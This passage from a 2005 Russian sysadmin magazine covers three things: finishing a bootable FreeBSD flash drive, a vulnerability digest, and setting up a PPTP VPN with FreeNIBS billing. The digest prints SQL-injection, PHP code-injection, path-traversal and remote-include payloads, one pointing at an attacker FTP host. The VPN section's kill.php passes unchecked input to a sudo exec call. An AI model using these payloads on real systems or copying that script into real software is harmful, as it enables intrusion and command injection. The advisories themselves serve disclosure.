Код загрузчика будет взят из файла /boot/boot, который уже к этому времени создан в процессе установки системы. Итак, система загружается. Это было тут же проверено, и тут же zBoot меня очень сильно разачаровал – оказывается, по непонятным причинам он не способен за-
37
администрирование грузить FreeBSD. Пришлось загрузить DOS и установить xFDisk, который загружает как DOS, так и FreeBSD без всяких проблем. Первые версии FlashBOOT использовали в качестве менеджера загрузки GRUB, но впоследствии я перешел на конфигурируемые из DOS менеджеры, потому что установка DOS проходит значительно быстрее, чем установка FreeBSD – достаточно записать на Flash файл seitek2000.dsk, описание и ссылка на который приводилась выше, – и вот установлена чистая DOS без единой дополнительной программы. Реконфигурация ядра делается стандартным способом – создается файл конфигурации ядра, в который вписываются все необходимые опции и устройства, выполняется команда: # cd /usr/src # make kernel KERNCONF=Flash DESTDIR=/mnt/umass/ufs
Здесь Flash – имя файла конфигурации ядра, который должен быть создан заранее, /mnt/umass/ufs – точка монтирования, куда был смонтирован раздел FreeBSD с Flash. При этом старый каталог ядра /mnt/umass/ufs/boot/kernel будет переименован в /mnt/umass/ufs/boot/kernel.old. Если необходимо использовать модули (все или ту часть, которая перечислена в MODULES_OVERRIDE= в файле /etc/ make.conf), то дополнительно нужно сделать: # cd /sys/modules # make all install DESTDIR=/mnt/umass/ufs
При этом модули будут помещены или в каталог ядра /mnt/umass/ufs/boot/kernel или в каталог модулей /mnt/ umass/ufs/boot/modules. Подробнее о процессе пересборки ядра написано в [14]. Настройка конфигурационных файлов заключается главным образом в создании или редактировании тех файлов, которые при установке через /stand/sysinstall создаются автоматически. Это файл /etc/fstab, в который нужно вписать строки: # Device Mountpoint FStype Options Dump Pass# /dev/da0s2a / ufs rw 1 1
Если этот файл изначально отсутствует, создайте его, например командой touch: # touch /etc/fstab
Это файл /etc/motd, который содержит приветствие, выводимое при регистрации в системе. Впрочем, его можно и не создавать. Образец файла приведен ниже. # less /etc/motd FreeBSD 5.4-RELEASE (Sentry) #3: Thu Jul 21 19:50:40 NOVST 2005 This is only LiveFlash maintenatce system. You should know, what you want to do.
Это файл /etc/rc.conf, который содержит все настройки системы. Файл /etc/rc.conf, присутствующий в выложенном образе, приведен здесь с комментариями:
38
#less /etc/rc.conf rc _ conf _ Þles="/etc/rc.conf" tmpmfs="YES" # Создаем MFS для монтирования ее в /tmp tmpsize="20m" # Задаем ее размер 20 Мб varmfs="YES" # Создаем MFS для монтирования ее в /var varsize="32m" # Задаем ее размер 32 Мб # В сетевых интерфейсах только lo0, ни одной сетевой карты network _ interfaces="lo0" hostname="usbßash" # Это просто наше имя Þrewall _ enable="YES" # Да! Здесь есть Þrewall. # Только он не запущен. Þrewall _ type="open" log _ in _ vain="YES" tcp _ drop _ synÞn="YES" tcp _ extensions="YES" tcp _ restrict _ rst="YES" inetd _ enable="NO" # Не запускать inetd sendmail _ enable="NONE" # Не запускать sendmail вообще portmap _ enable="NO" # Не запускать portmap font8x8="koi8-r-8x8" font8x14="koi8-r-8x14" font8x16="koi8-rb-8x16" keyrate="fast" keymap="ru.koi8-r" ldconÞg _ paths="/usr/lib/compat /usr/local/lib"
Перед первой загрузкой обязательно нужно очистить каталоги /mnt/umass/ufs/tmp и /mnt/umass/ufs/var, потому что создание MFS для /tmp и /var при загрузке c Flash выполняется только в том случае, если они пустые. В каталоге /mnt/umass/ufs/var обычно имеется каталог empty с атрибутами schg (System Immutable), который можно увидеть по команде: # cd /var # ls -lo | grep empty dr-xr-xr-x
2 root
wheel
schg 512 Nov 5 2004 empty
Для его удаления сначала нужно снять с него атрибут schg: # cd /var # chßags noschg empty
Последнее, что нужно сделать, – установить дополнительное программное обеспечение, не входящее в базовую поставку, но желательное, потому что здорово облегчает жизнь (эта фраза, несомненно, вызовет бурю возмущения со стороны «настоящих» юниксоидов, которые считают, что пользоваться каким-либо редактором, кроме vi – есть признак ламера). Список софта, который был установлен, приведен выше. К сожалению, я не нашел возможности устанавливать софт прямо из портов с указанием целевого каталога и каталога для хранения базы установленных программ, поэтому необходимый софт был запакован в пакеты командой (например): # cd /var/db/pkg # pkg _ create -b mc-4.6.0 _ 11
после чего файл mc-4.6.0_11.tgz (и другие нужные нам пакеты, список приведен в начале статьи) был перенесен на Flash в каталог /usr/tmp для его последующей установки в системе, загруженной непосредственно с Flash. Таким образом, в /usr/tmp были записаны все необходимые пакеты, которые потом, после установки будут удалены. Для того чтобы отслеживать изменение состояния софта, который не входит в базовую поставку, каталоги pkg и ports, которые обычно размещаются в /var/db, вынесем в /usr/share/db. Что-
администрирование бы система знала, где ей искать эти каталоги, в файле /root/. cshrc установим следующие переменные окружения: setenv PKG _ DBDIR setenv PORTS _ DBDIR
/usr/share/db/pkg /usr/share/db/ports
На этом наша работа непосредственно по созданию Flash закончена и начинается деятельность по ее первоначальной настройке, которую необходимо провести непосредственно в системе, загруженной с Flash. Заодно при этом проверим, что ничего не поломали в процессе установки. (На самом деле здесь нет ничего смешного – в процессе создания Flash мне пришлось один раз откатываться на самое начало из-за того, что по непонятным причинам перестал грузиться DOS.)
Первоначальная настройка Итак, заходим в BIOS, настраиваем наш компьютер на загрузку с USB, перегружаемся и видим наконец-то загрузочное меню xFDisk. Выбираем раздел FreeBSD. Загрузка с Flash идет значительно медленнее, чем с жесткого диска, но, конечно, значительно быстрее, чем с дискет. После загрузки системы первым делом устанавливаем дополнительные программы, пакеты которых мы заботливо сложили в /usr/tmp. Делаем это, как обычно, командой pkg_add: # pkg _ add mc-4.6.0 _ 11.tgz
Если устанавливаемый пакет зависит от другого пакета, и этот пакет присутствует в каталоге, из которого запущен pkg_add, то он будет молча установлен. Если же pkg_ add не находит пакета, от которого зависит устанавливаемый, то установка будет прервана: # pkg _ add mc-4.6.0 _ 11.tgz pkg_add: could not find package pkgconfig-0.17.0 !
После установки всех необходимых пакетов обязательно нужно выполнить две важные вещи, которые не забывает /stand/sysinstall, а именно – задать пароль пользователя root и настроить часовой пояс. Отсутствие в системе настроенного часового пояса не влияет на даты создания или изменения файла, поскольку они хранятся в «Unix time» (число секунд с 1 января 1970 г.), но влияет на значение даты, выводимой по команде date, подставляемой во все текстовые журналы, и отображаемой всеми командами. Изменить пароль пользователя root просто: # passwd root Changing local password for root New Password: Retype New Password:
Для настройки часового пояса воспользуемся /stand/ sysinstall. Выбираем в главном меню «Do post-install configuration of FreeBSD», затем «Set which time zone you’re in». На вопрос «Is this machine clock set to UTC» отвечаем по умолчанию (а по умолчанию стоит «No», и это нам подходит). Затем выбираем регион (Asia), страну (Russian Federation) и подходящий часовой пояс. В меню «Russian
№9, сентябрь 2005
Federation Time Zones» часовые пояса указаны относительно Москвы. Допустим, мы выбрали зону «Moscow+03 – Novosibirsk». На последний вопрос «Does the abbreviation ‘NOVST’ look reasonable?» отвечаем утвердительно и выходим из программы /stand/sysinstall. После установки часового пояса нужно немного почистить Flash. В стандартной поставке присутствует достаточное количество файлов и каталогов, которые никогда и никому не понадобятся. Это каталоги, содержащие информацию о том, какие денежные единицы в Бурунди, и сообщения для некоторых программ на иврите и франко-канадском, а также некоторая документация по системе. И пусть они не так уж и много места занимают – на Flash вообще места немного. Хотя, например, объем каталога /usr/local/ share/locale может достигать десятков мегабайт. Итак: ! Каталоги /usr/share/locale и /usr/local/share/locale – удаляем все, что не ru_RU, en_GB, en_US, la_LN. Оставляем также UTF-8 и bg_BG.CP1251. Последний используется в ru_RU.CP1251. ! Каталоги /usr/share/nls и /usr/local/share/nls – точно так же удаляем все, что не ru_RU, en_GB, en_US, la_LN. Оставляем также C, POSIX и bg_BG.CP1251. Последний по причине, изложенной выше. ! Каталог /usr/share/doc – удаляем полностью. Вряд ли нам понадобится та документация, что там хранится. ! Каталог /usr/share/info – удаляем полностью. Точно так же (хотя, конечно, эти каталоги можно и не удалять). Всё! Выполняем последнюю проверку на то, что в процессе установки FreeBSD ничего не было поломано (а такое однажды случилось) путем загрузки поочередно FreeBSD и DOS.
Возможные ошибки Процесс создания Flash очень критичен к ошибкам. Малейшая неточность – и все приходится начинать сначала. Поэтому, приступая к созданию собственного образа, сначала обдумайте, а стоит ли это делать, может, проще развернуть готовый и модифицировать его? Помните, что: ! Далеко не все Flash распознаются программами типа Acronis Disk Director/Partition Magic как жесткие диски. Это значит, что из-под DOS/Windows создать раздел нужного размера будет невозможно. Если при установке Flash в компьютер с Windows Acronis Disk Director/ Partition Magic его не видит, значит, Flash распознан как сменный носитель и создать на нем раздел можно только записью образа seitek2000.dsk так, как описано в начале раздела «Создание». Некоторые Flash-диски, например Transcend JetFlash, имеют в своем составе специальные утилиты, позволяющие переключаться между режимами «жесткий диск» и «сменный носитель». ! Если устанавливаете какой-либо не перечисленный мной менеджер загрузок, сначала скопируйте область загрузчика в файл, чтобы потом можно было его восстановить в случае, если он не заработает: # dd if=/dev/da0 of=backup.dsk count=63
39
администрирование ! После установки менеджера загрузок обязательно про-
!
! !
!
!
!
!
верьте, что и DOS, и FreeBSD загружаются. Появление меню менеджера загрузок – еще не показатель его работы. Не загружайте драйвера USB for DOS, если на компьютере USB клавиатура или мышь, в момент инициализации драйвера клавиатура (мышь) обязательно зависнет. Если стандартный FDISK для DOS говорит, что на разделе DOS UNKNOWN filesystem – значит, раздел DOS создан неправильно. Если при создании файловой системы в пустом слайсе FreeBSD она помещается на /dev/da0s2d, а не на /dev/ da0s2a, выйдите из sysinstall и создайте файловую систему вручную, как было описано выше. Если при копировании какого-либо базового пакета появляется окно «Choose installation media» – не паникуйте. Это просто оборвалась связь с сервером, с которого берется дистрибутив. Укажите, где расположен дистрибутив заново. Запись на Flash идет долго, поэтому перед тем, как устанавливать систему на Flash, лучше скопируйте дистрибутив на локальный диск. При генерации пароля пользователя root, при создании дополнительных пользователей и при настройке часового пояса sysinstall всегда изменяет файлы в /etc, а не в «Install Root». Указывать Install Root следует после того, как были созданы файловые системы. Во время создания файловых систем они монтируются в те точки, которые задаются на экране FreeBSD Disklabel editor, так что если вы зададите Install Root в самом начале, то созданные файловые системы будут смонтированы, например, в /mnt/ tmp/mnt/tmp вместо /mnt/tmp. Обязательно дождитесь завершения работы sysinstall, когда она устанавливает базовые пакеты. Даже если на экране ничего не обновляется, процесс работы можно отслеживать по индикатору Flash – как правило, он мигает, когда идет процесс чтения/записи данных.
Заключение Раньше непременным атрибутом каждого системного администратора была загружаемая дискета (или несколько дискет), с которой выполнялась и установка систем, и их проверка. Но дисковод гибких дисков – ненадежная вещь, да и емкость дискеты невелика. Загружаемая Flash, описанная здесь, может пригодиться любому системному администратору – и тому, у которого под столом стоит единственный сервер, и тому, у которого в серверной ряды стоек, забитых 19" корпусами, потому что позволяет отказаться от такой ненадежной вещи, как дисковод гибких дисков и не устанавливать в корпус привод CD-ROM. Пусть работать с ним не так просто, как хотелось бы, зато возможности его практически равны возможности нормальной FreeBSD. Установил Flash в корпус, поставил достаточное количество ОЗУ и перенаправление журнальной информации – и вот, пожалуйста, готовый маршрутизатор. Запустил Disk Editor c раздела DOS – и можно попытаться восстановить удаленный файл. Запустил MHDD – и мож-
40
но попытаться протестировать и восстановить диск на самом нижнем уровне. Я благодарю Александра Дёмина, сетевого администратора из московской группы компаний «Спектрум», за предоставленный хостинг файла образа Flash.
Литература и ссылки: 1. http://frenzy.org.ua – домашняя страница проекта Frenzy. 2. http://www.mecronome.de/xfdisk – домашняя страница менеджера загрузок xFDisk. 3. http://www.symon.ru – домашняя страница менеджера загрузок SyMon. 4. http://www.ranish.com/part – домашняя страница программы Ranish Partition Manager. 5. http://www2.arnes.si/~fkomar/xosl.org – домашняя страница менеджера загрузок XOSL. 6. http://www.penguin.cz/~mhi/mbtmgr – домашняя страница менеджера загрузок MATTSoft Bootmanager. 7. http://www.zbmsoft.com – домашняя страница менеджера загрузок zBoot. 8. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000. rar – начальный образ Flash-диска. Один раздел DOS 23 Мб, без менеджера загрузок. Контрольная сумма MD5 файла равна: MD5 (seitek2000.rar) = fff2b36eda90f 2ff9558e588c7afbc55. Длина файла в упакованном виде 514006 байт, в распакованном 1024000 байт (2000 секторов по 512 байт). 9. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000. fdisk – отчет fdisk, созданный по образу seitek2000.dsk при монтировании этого образа RAM-диском. 10. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy.rar – образ области загрузчика (первые 63 сектора). Два раздела (DOS и FreeBSD). Контрольная сумма MD5 файла равна: MD5 (booteasy.rar) = 67f70ae4fbda870d7eb64fdc07f6 49ac. Длина файла в упакованном виде 7330 байт, в распакованном виде 32256 байт (63 сектора по 512 байт). 11. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy. fdisk – отчет fdisk, созданный по образу booteasy.dsk при монтировании этого образа RAM-диском. 12. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot. rar – образ области загрузчика (первые 63 сектора). Два раздела (DOS и FreeBSD). Контрольная сумма MD5 файла равна: MD5 (xfdiskboot.rar) = 0a1b605ebe9994fb8 eaad4b134dd02aa. Длина файла 19852 байта в упакованном виде, 32256 в распакованном виде (63 сектора по 512 байт). 13. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot. fdisk – отчет fdisk, созданный по образу xfdiskboot.dsk при монтировании этого образа RAM-диском. 14. http://www.freebsd.org/doc/en_US.ISO8859-1/books/ handbook/kernelconfig-building.html – Глава 8, пункт 3 «Руководства пользователя FreeBSD», посвященная пересборке ядра. 15. http://www.freebsd.org/doc/en_US.ISO8859-1/books/ handbook/install-diff-media.html – Глава 2, пункт 2.13.4 «Руководства пользователя FreeBSD», посвященная подготовке собственных источников установки, в том числе и c раздела DOS.
bugtraq SQL-инъекция в Mailgust Программа: Mailgust 1.9. Опасность: Средняя. Описание: Уязвимость позволяет удаленному пользователю выполнить произвольные SQL-команды в базе данных приложения. Уязвимость существует в сценарии gorum/ user_email.php опции «PHP magic quotes». Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL-команды в базе данных приложения. Пример: [your _ email],'or'a'='a'/*@hotmail.com
PHP-инклудинг и обход каталога в PBLang Программа: PBLang 4.65. Опасность: Критическая. Описание: При регистрации пользователя создается файл в каталоге /db/members, содержащий данные пользователя. Удаленный пользователь может с помощью специально сформированного значения переменной ‘location’ выполнить произвольный PHP-сценарий на целевой системе. Пример: madrid"; system($HTTP _ POST _ VARS[cmd]); echo "
URL производителя: www.mailgust.org. Решение: В настоящее время способов устранения уязвимости не существует.
Затем пользователь может выполнить произвольный PHP-сценарий. Пример:
PHP-инклудинг в AutoLinks Pro
Сценарий setcookie.php недостаточно обрабатывает входные данные в параметре u. Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Пример:
Программа: AutoLinks Pro 2.1. Опасность: Критическая. Описание: Уязвимость существует в сценарии autolinks/ al_initialize.php при обработке входных данных в параметре alpath при включенной опции register_globals в конфигурационном файле php.ini. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP-сценарий на целевой системе с привилегиями веб-сервера. Пример: http://[target]/al _ initialize.php?alpath=ftp://[attacker]/
Примечание: Сценарий атакующего должен быть назван al_functions.php. URL производителя: www.scriptscenter.com/autolinks. Решение: В настоящее время способов устранения уязвимости не существует.
Отказ в обслуживании в Mozilla Firefox Программа: Mozilla Firefox версии до 1.0.7. Опасность: Средняя. Описание: Удаленный пользователь может создать Proxy Auto-Config (PAC)-сценарий со специально сформированным значением eval(), который, при загрузке, аварийно завершит работу браузера. URL производителя: http://www.mozilla.org/products/ firefox. Решение: Установите исправленную версию (1.0.7) с сайта производителя.
PHP-инклудинг в WebCalendar Программа: WebCalendar версии до 1.0.1. Опасность: Критическая. Описание: Уязвимость существует из-за недостаточной обработки входных данных в параметре includedir файла includes/functions.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP-сценарий на целевой системе с привилегиями веб-сервера. URL производителя: www.k5n.us/webcalendar.php. Решение: Установите последнюю версию (1.0.1) с сайта производителя.
№9, сентябрь 2005
http://[target]/[path]/setcookie.php?u=[username]%00
http://target]/[path]/pblang/setcookie.php? u=. ./../../../../etc/passwd%00
URL производителя: www.pblang.drmartinus.de. Решение: В настоящее время способов устранения уязвимости не существует.
SQL-инъекция в Oracle Reports Программа: Oracle Reports. Опасность: Средняя. Описание: Уязвимость существует в реализации Lexical Reference – контейнере, содержащем данные, которые добавляются в SELECT-запрос. Удаленный пользователь может изменить SQL-запрос в секциях, следующих за SELECT, FROM, WHERE, GROUP BY, ORDER BY, HAVING, CONNECT BY и START WITH. При использовании Lexical Reference удаленный пользователь может изменить SQL-запрос с помощью специально сформированного URL. Пример: http://myserver:8889/reports/rwservlet?report= ↵ sqlinject3.rdf+userid=scott/tiger@ora9206+destype= ↵ CACHE+desformat=HTML+paramform=yes
URL производителя: www.oracle.com. Решение: В настоящее время способов устранения уязвимости не существует.
Целочисленное переполнение в PCRE в веб-сервере Apache Программа: Apache 2.0.54 и более ранние версии. Опасность: Низкая. Описание: Целочисленное переполнение буфера существует при обработке .htaccess-файла. Локальный пользователь может создать специально сформированный файл и повысить свои привилегии на системе. URL производителя: www.apache.org. Решение: Установите исправление с сайта производителя.
Составил Александр Антипов
41
администрирование
ОРГАНИЗУЕМ ДОСТУП В ИНТЕРНЕТ С ИСПОЛЬЗОВАНИЕМ БИЛЛИНГОВОЙ СИСТЕМЫ Free reeNIBS NIBS
ЕВГЕНИЙ ЛИТВИНЕНКО Одна из ваших основных задач – предоставить пользователям возможность доступа в Интернет из локальной сети. Традиционно используемый для этой цели прокси-сервер имеет некоторые недостатки, которых нет у системы, предлагаемой вам сегодня.
С
егодня мы создадим систему, которая обеспечит пользователям локальной сети доступ в Интернет. Для передачи данных внутри сети будем использовать технологию VPN. Подсчет интернет-трафика ведется с помощью биллинговой системы FreeNIBS. Настройка производилась в популярном российском дистрибутиве ALT Linux Master 2.4. Напомню, что аббревиатура VPN расшифровывается как Virtual Private Network – виртуальная частная сеть. Суть этой технологии заключается в том, что при подключении к VPN-серверу при помощи специального программного обеспечения поверх общедоступной сети в уже установленном соединении организуется зашифрованный канал, через который передается интернет-трафик.
42
Одним из вариантов применения этой технологии является предоставление компьютерам локальной сети выхода в Интернет. То есть на сервере, имеющем выход в Интернет, работает служба, которая при подключении к ней клиентского компьютера предоставляет ему доступ к глобальной сети. Использование данной технологии предоставляет несколько преимуществ, которых не имеет аналогичная система, построенная с использованием прокси-сервера. Вопервых, весь передаваемый трафик шифруется, что позволяет избежать перехвата данных в локальной сети. Вовторых, используя прокси-сервер, очень трудно организовать корректное отключение пользователя при превышении лимита на трафик. Это связано с тем, что подсчет тра-
администрирование фика ведется с использованием протоколов прокси-сервера, в которые информация о трафике записывается только по окончании скачивания файла. То есть если у пользователя до превышения лимита осталось 2 Мб, а он решит закачать файл размером 10 Мб, то прокси-сервер позволит это сделать. Главное, чтобы не оборвалось соединение.
Настройка сервера VPN Сети VPN используют протокол PPTP (Point-to-Point Tunneling Protocol), который реализует пакет pptpd. Компиляция и установка пакета описаны в разделе «Пересборка пакетов». Аналогично собирается и устанавливается пакет pppd, реализующий протокол связи PPP (Point-to-Point Protocol). PPTP использует PPP при установке соединения с клиентским компьютером. Сервис pppd использует конфигурационный файл /etc/ppp/options. Демон – /etc/pptpd.conf и /etc/ppp/options.pptpd (последний указывается непосредственно в pptpd.conf и может быть изменён на файл с другим именем). Сперва настраиваем и тестируем связку pptpd+pppd в «чистом» виде, используя для авторизации пользователей данные, хранящиеся в /etc/ppp/chap-secrets. В файле /etc/pptpd.conf дописываются следующие строки: // предельная скорость соединения, бит/с speed 115200 // подключаем файл с параметрами option /etc/ppp/options.pptpd // включаем отладочный режим debug // IP-адрес на стороне сервера. Используется для установки // двухточечного соединения localip 192.168.100.1 // IP-адрес на стороне клиента. Указывается один адрес или // диапазон адресов, один из которых выдается клиентскому // компьютеру при установке VPN-соединения. В данном примере // выделяется диапазон адресов: 192.168.101.1-192.168.101.100 remoteip 192.168.101.1-100
Настройки VPN-подключения описаны в файле /etc/ ppp/options.pptpd. Для VPN-соединения, использующего MPPE-шифрование, необходимо отключить алгоритмы сжатия передаваемых данных: nobsdcomp nodeßate
Pppd поддерживает несколько протоколов аутентификации. Это PAP, CHAP, MSCHAP. Протоколы семейства CHAP более надежны, нежели PAP, так как PAP передает пароль по сети в открытом виде, а CHAP – только его хеш-сумму. Клиентами Windows используется протокол авторизации MSCHAP и его обновленная версия MSCHAP-v2. Необходимо отключить ненужные протоколы и разрешить использование только протоколов MSCHAP/MSCHAP-v2: refuse-pap refuse-chap require-mschap require-mschapv2
Всегда существует опасность перехвата данных в локальной сети. Поэтому в целях безопасности устанавливаем принудительное шифрование трафика:
№9, сентябрь 2005
require-mppe
Для проверки работоспособности VPN-сервера создаем тестовую учетную запись. Пользовательские данные хранятся в файле /etc/ppp/chap-secrets в следующем формате: имя _ пользователя имя _ сервера
пароль
IP-адрес
Например: test * 123
192.168.101.1
Имя сервера, как правило, не указывают. Вместо него ставится символ «*». Теперь можно подключаться к серверу. Если возникли какие-то проблемы – изучайте протоколы. После того как заработала связка pptpd+pppd, настраивается система авторизации FreeRadius и система подсчета трафика FreeNIBS.
Настройка биллинговой системы Сама по себе вышесозданная система не обладает гибкостью. А перед системным администратором часто стоит задача – распределить интернет-трафик между пользователями. Хорошим тоном является выделение для пользователя фиксированного количества мегабайт интернеттрафика в месяц. Отсюда вытекает необходимость вести статистику для каждого пользователя, которая содержала бы количество принятых и переданных байт за одно подключение и целиком за месяц. Все эти возможности реализует пакет FreeNIBS (Neon internet Billing System for FreeRadius). FreeNIBS является надстройкой для пакета FreeRadius. FreeRadius – это одна из реализаций протокола RADIUS (Remote Authentication Dial In User Service), который служит для авторизации удаленных пользователей. Первоначально протокол разрабатывался для больших модемных пулов, но реализация получилась настолько удачной, что сейчас он используется не только для DialUP-подключений, но и для IP-телефонии и организации доступа в VPN-сети. FreeNIBS использует FreeRadius для авторизации пользователей. Пакет собирается из исходников. В результате компиляции получается несколько пакетов. Основными являются freenibs-0.0.3-0.9.3-alt4.i686.rpm и freeradius-0.9.3-alt4.i686. rpm. Остальные пакеты добавляют в программу поддержку различных баз данных и скриптовых языков. В данном проекте используется сервер баз данных MySQL, поэтому дополнительно устанавливается пакет freeradius-mysql-0.9.3alt4.i686.rpm. FreeRadius состоит из двух частей – клиента и сервера. Сервер реализует протокол RADIUS. Клиентом является сервер доступа (NAS – Network Access Server), в данном случае это VPN-сервер. Для того чтобы pptp взаимодействовал с Radius-сервером, в файл /etc/ppp/options.pptpd добавляем следующие строки: plugin radius.so plugin radattr.so
43
администрирование В файле /etc/raddb/clients.conf перечисляются все клиенты, которые будут обращаться к Radius-серверу. Так как в нашем случае он один, то файл содержит только следующее: client 127.0.0.1 { secret = testing123 shortname = localhost nastype = other }
Здесь говорится, что клиент будет обращаться с локальной машины (адрес 127.0.0.1). Параметр secret содержит ключевое слово, которое позволяет серверу идентифицировать отдельных клиентов. Параметр shortname содержит имя (краткое) хоста клиента, а в параметре nastype хранится тип клиента. В данном случае он не совпадает со стандартными, поэтому там указывается значение other. Настройки клиента RADIUS хранятся в каталоге /etc/ radiusclient. А записи о сервере хранятся в файле /etc/ radiusclient/servers, где необходимо лишь записать адрес сервера и ключевое слово: localhost
testing123
Для хранения пользовательских аккаунтов и статистики используется база данных MySQL. Параметры для доступа к базе содержатся в файле /etc/raddb/nibs.conf. Редактируются следующие строки: server = "localhost" port = "3306" login = "freenibs" password = "password"
Здесь стоит упомянуть, что FreeNIBS может работать с пользователями в двух режимах – простом и профессиональном. В простом режиме для всех пользователей определенной группы используются единые настройки группы. В профессиональном режиме у каждого пользователя могут быть индивидуальные настройки. Далее необходимо настроить саму базу данных. В пакете исходных текстов в каталоге freeradius/src/modules/rlm_ nibs/drivers/rlm_nibs_mysql (здесь и далее если не указан абсолютный путь, то речь идёт об исходных текстах пакета FreeNIBS) находятся файлы с описанием структур таблиц. Файл nibs_mysql.sql содержит набор SQL-команд для создания базы данных freenibs и таблиц в ней. Файл nibs_mysql_ prof_add.sql содержит запросы, модифицирующие ранее созданные таблицы, для их использования в профессиональном режиме. В файле nibs_mysql.sql редактируется строка с паролем для пользователя базы данных freenibs. После этого запросы необходимо передать MySQL. Это делается следующими командами: #mysql -u root -p < nibs _ mysql.sql #mysql -u root -p < nibs _ mysql _ prof _ add.sql
Чтобы включить профессиональный режим, необходимо, помимо модификации таблиц, раскомментировать следующую строку в файле nibs.conf (и не забыть перезапустить FreeRadius, если он уже работает):
44
authorize _ query _ prof = "SELECT tos, do _ with _ tos, ↵ direction, Þxed, Þxed _ cost, activation _ time, ↵ total _ time _ limit, month _ time _ limit, week _ ↵ time _ limit, day _ time _ limit, total _ trafÞc _ limit, ↵ month _ trafÞc _ limit, week _ trafÞc _ limit, day _ ↵ trafÞc _ limit, total _ money _ limit, ↵ month _ money _ limit, week _ money _ limit, ↵ day _ money _ limit, login _ time, huntgroup _ name, ↵ simultaneous _ use, port _ limit, session _ timeout, ↵ idle _ timeout, allowed _ preÞxes, no _ pass, no _ acct, ↵ allow _ callback, other _ params ↵ FROM ${auth _ table} WHERE user = '%{SQL-User-Name}'"
Здесь описывается запрос к базе данных, который производится во время авторизации пользователя. Чтобы отслеживать IP-адреса компьютеров, с которых производится подключение, в файл /etc/pptpd.conf добавляется следующая строка: pppd /usr/sbin/call-pppd
call-pppd – это bash-скрипт, производящий запуск pppd с дополнительными параметрами, IP-адресом машины клиента и её MAC-адресом. Эта позволяет отслеживать администратору, с каких именно компьютеров производится подключение. При превышении лимита на трафик пользователь должен быть отключен от сервера. За это отвечает специальный скрипт, путь к которому указывается в файле /etc/raddb/ nibs.conf, в параметре kill_program. С пакетом FreeNIBS идет специальный скрипт для отключения пользователей, «заточенный» под протокол PPP: kill _ program = "${sbin _ dir}/pppkill %{Framed-IP-Address}"
Работа с пользователями и просмотр статистики производятся через веб-интерфейс. Он предназначен для работы на виртуальном сервере. После создания виртуального хоста файлы веб-интерфейса, находящиеся в src/modules/ rlm_nibs/utils/web, копируются в соответствующий каталог. Так как интерфейсов два (администрирование системы и просмотр статистики), то и виртуальных хостов соответственно будет столько же. Необходимо отредактировать только файл include/mysql. php и прописать в нём соответствующие имя пользователя и пароль для доступа к базе данных. Веб-интерфейс можно дорабатывать, добавляя новые возможности. В данном проекте была добавлена возможность сброса пользователей с линии на странице «Online». Для этого в существующий файл online.php была добавлена ссылка для вызова скрипта kill.php. Скрипту передается параметр – IP-адрес пользователя, которого необходимо «сбросить». Файл kill.php содержит следующие строки: <?php exec("sudo /usr/sbin/pppkill $ip"); header("Location:online.php"); ?>
pppkill является привилегированной командой. То есть вызвать ее можно либо пользователю root, либо с помощью утилиты sudo. Так как php-скрипты выполняются от имени пользователя apache, необходимо разрешить ему выпол-
администрирование нять эту команду. Для этого в файле /etc/sudoers дописывается следующая строка: apache
ALL = NOPASSWD: /usr/sbin/pppkill
Перед использованием iptables необходимо отменить все ранее указанные правила (если таковые существовали). Для этого запускаем утилиту с ключом -F: # iptables -F
Теперь можно создавать пакеты и пользователей. На первых этапах рекомендуется запускать FreeRadius, не используя утилиту service, а из командной строки с параметром -X: # radiusd -X
Запущенный таким образом FreeRadius отображает подробные логи в текущей консоли.
Настройка преобразования сетевых адресов (NAT) и фильтрации пакетов Существуют несколько диапазонов IP-адресов, которые используются только для адресации в локальных сетях. То есть в сети Интернет эти адреса не используются. К ним относятся подсеть класса A 10.x.x.x и подсети класса C 192.168.x.x (также существует диапазон сетей класса B, но он практически не используется). Провайдер интернет-услуг чаще всего предоставляет только один уникальный адрес, который присваивается интерфейсу, через который осуществляется доступ в сеть Интернет. Для того чтобы компьютеры локальной сети могли получить доступ в Интернет, используется технология преобразования сетевых адресов NAT (Network Address Translation). Суть этой технологии состоит в следующем – во всех пакетах, которые направлены в сеть Интернет, в заголовке локальный адрес отправителя заменяется на внешний. В ALM-системe NAT реализует утилита iptables. Также в круг задач iptables входит фильтрация сетевых пакетов по заданным критериям. Это необходимо в целях безопасности. Используя iptables, можно оградить доступ к локальным службам извне. А также запретить прохождение локальных сетевых пакетов по внешним сетевым интерфейсам. Фильтрацию пакетов можно организовать двумя способами. Запрещать все пакеты и разрешать только необходимые. А можно пропускать все пакеты, запрещая явно только те пакеты, которые являются нежелательными. Однако вторая политика чревата очень большими неприятностями. Утилита iptables управляется из командной строки и имеет огромное число параметров. Для удобства администрирования создается скрипт, в котором содержатся все необходимые команды. Скрипт помещается в каталог /etc/ppp/ ip-up.d. Это гарантирует запуск скрипта после соединения с сетью Интернет. Чтобы получить возможность передачи пакетов между сетевыми интерфейсами (маршрутизация), дается следующая команда: # echo "1" > /proc/sys/net/ipv4/ip _ forward
Данная команда записывает 1 в файл, находящийся в виртуальной файловой системе /proc.
№9, сентябрь 2005
Теперь можно приступать к созданию правил. Здесь необходимо выбрать критерии, по которым фильтруются пакеты. Чаще всего это сетевой адрес отправителя/получателя, порт и сетевой интерфейс. Для того чтобы запретить все пакеты, адресуемые извне на порт 3306 (MySQL), дается следующая команда: # iptables -A INPUT -p tcp -s ! 192.168.0.0/16 ↵ -d 195.5.28.227 --destination-port 3306 -j DROP
Здесь:
! в параметре -p указывается протокол (tcp); ! в параметре -s указывается адрес отправителя (в дан-
ном случае все адреса, не принадлежащие подсети 192.168.0.0./16); ! в параметре -d указывается адрес получателя (здесь адрес, получаемый от провайдера при подключении); ! в параметре --destination-port указывается номер порта (3306); ! в параметре -j указываем действие, которое необходимо совершить с пакетом, который удовлетворяет описанным критериям (в данном случае уничтожить). После того как все правила для уничтожения пакетов заданы, необходимо разрешить прохождение всех остальных пакетов: # iptables -P INPUT ACCEPT # iptables -P OUTPUT ACCEPT # iptables -P FORWARD ACCEPT
